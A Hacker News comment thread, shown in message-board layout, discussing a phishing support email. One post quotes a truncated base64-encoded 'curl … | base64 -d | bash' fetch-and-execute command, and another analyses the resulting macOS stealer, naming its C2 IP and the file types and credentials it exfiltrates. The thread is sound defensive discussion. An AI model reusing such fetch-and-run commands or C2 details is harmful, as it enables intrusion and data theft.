Hacker News Board Hacker News, browsed like a classic message board
Live data from Hacker News

The scariest "user support" email I've received

devas.life

Post reply on HN
Print view View original

51–60 of 267 posts

Re: The scariest "user support" email I've received

#51

Post by spogbiper »

frenchtoast8 wrote: post #19

I'm seeing a lot more of these phishing links relying on sites.google.com . Users are becoming trained to look at the domain, which appears correct to them. Is it a mistake of Google to continue to let people post user content on a subdomain of their main domain?

the phishers use any of the free file sharing sites. I've seen dropbox, sharefile , even docusign URLs used as well. i don't think you want users considering the domain as a sign of validity, only that odd domains are definitely a sign of invalidity.

Re: The scariest "user support" email I've received

#52

Post by hinkley »

To me the scariest support email would be discovering that the customer's 'bug' is actually evidence that they are in mortal danger, and not being sure the assailant wasn't reading everything I'm telling the customer.

I thought perhaps this was going that way up until around the echo | bash bit.

I don't think this one is particularly scary. I've brushed much closer to Death even without spear-phishing being involved.

Re: The scariest "user support" email I've received

#53

Post by orbital-decay »

mcintyre1994 wrote: post #44
gambiting wrote: post #31

Earlier quoted context omitted.

I don't understand? It's actually a pretty good idea - ChatGPT will download whatever the link contains in its own sandboxed environment, without endangering your own machine. Or do you mean something else by saying we're cooked?

I doubt it downloaded or executed anything, it probably just did a base64 decode using some tool and then analysed the decoded bash command which would be very easy. Seems like a good use of an LLM to me.

It can easily read base64 directly.

Re: The scariest "user support" email I've received

#55

Post by lynx97 »

Wait...

> echo -n Y3VybCAtc0w... | base64 -d | bash ... > executes a shell script from a remote server — as ChatGPT confirmed when I asked it to analyze it

You needed ChatGPT for that? Decoding the base64 blob without huring yourself is very easy. I don't know if OP is really a dev or in the support department, but in any case: as a customer, I would be worried. Hint: Just remove the " | bash" and you will easily see what the attacker tried you to make execute.

Re: The scariest "user support" email I've received

#56

Post by lynx97 »

notRobot wrote: post #21
tantalor wrote: post #4

> as ChatGPT confirmed when I asked it to analyze it lol we are so cooked

Isn't analysing and writing bits of code one of the few things LLMs are actually good at and useful for (as opposed to creative writing or whatever). Before LLMs if someone wasn't familiar with deobfuscation they would have no easy way to analyse the attack string as they were able to do here.

C'mon. This is not "deobfuscation", its just decoding a base64 blob. If this is already MAGIC, how is OP ever going to understand more complex things?

Re: The scariest "user support" email I've received

#57

Post by nerdsniper »

The binary itself appears to be a remote-access trojan and data exfiltration malware for MacOS. It provides a reverse-shell via http://83.219.248.194 and exfiltrates files with the following extensions: txt rtf doc docx xls xlsx key wallet jpg dat pdf pem asc ppk rdp sql ovpn kdbx conf json It looks quite similar to AMOS - Atomic MacOS Stealer.

It also seems to exfiltrate browser session data + cookies, the MacOS keychain database, and all your notes in MacOS Notes.

It's moderately obfuscated, mostly using XOR cipher to obscure data both inside the binary (like that IP address for the C2 server) and also data sent to/from the C2 server.

Re: The scariest "user support" email I've received

#58

Post by nerdsniper »

johnisgood wrote: post #50
karolinepauls wrote: post #33

Earlier quoted context omitted.

https://duckduckgo.com/?t=ffab&q=base64+decode+Y3VybCAtc0wgL...

So I downloaded this file... Apparently it is: $ file -b grecaptcha Mach-O universal binary with 2 architectures: [x86_64:\012- Mach-O 64-bit x86_64 executable, flags: ] [\012- arm64:\012- Mach-O 64-bit arm64 executable, flags: ] I cannot perform a dynamic analysis as I do not have macOS. :( May anyone do it for me? Use "otool", "dtruss", and "tcpdump" or something. :D Be careful! The executable is available here: ht…

https://dogbolt.org/?id=42fd4600-5141-427c-88af-77b5d9a94ea3...

The binary itself appears to be a remote-access trojan and data exfiltration malware for MacOS. I posted a bit more analysis here: https://news.ycombinator.com/item?id=45650144

Re: The scariest "user support" email I've received

#59

Post by johnisgood »

nerdsniper wrote: post #58
johnisgood wrote: post #50

Earlier quoted context omitted.

So I downloaded this file... Apparently it is: $ file -b grecaptcha Mach-O universal binary with 2 architectures: [x86_64:\012- Mach-O 64-bit x86_64 executable, flags: ] [\012- arm64:\012- Mach-O 64-bit arm64 executable, flags: ] I cannot perform a dynamic analysis as I do not have macOS. :( May anyone do it for me? Use "otool", "dtruss", and "tcpdump" or something. :D Be careful! The executable is available here: ht…

https://dogbolt.org/?id=42fd4600-5141-427c-88af-77b5d9a94ea3... The binary itself appears to be a remote-access trojan and data exfiltration malware for MacOS. I posted a bit more analysis here: https://news.ycombinator.com/item?id=45650144

Ooh, first time I am hearing of https://dogbolt.org. Thanks for that! :)
Post reply on HN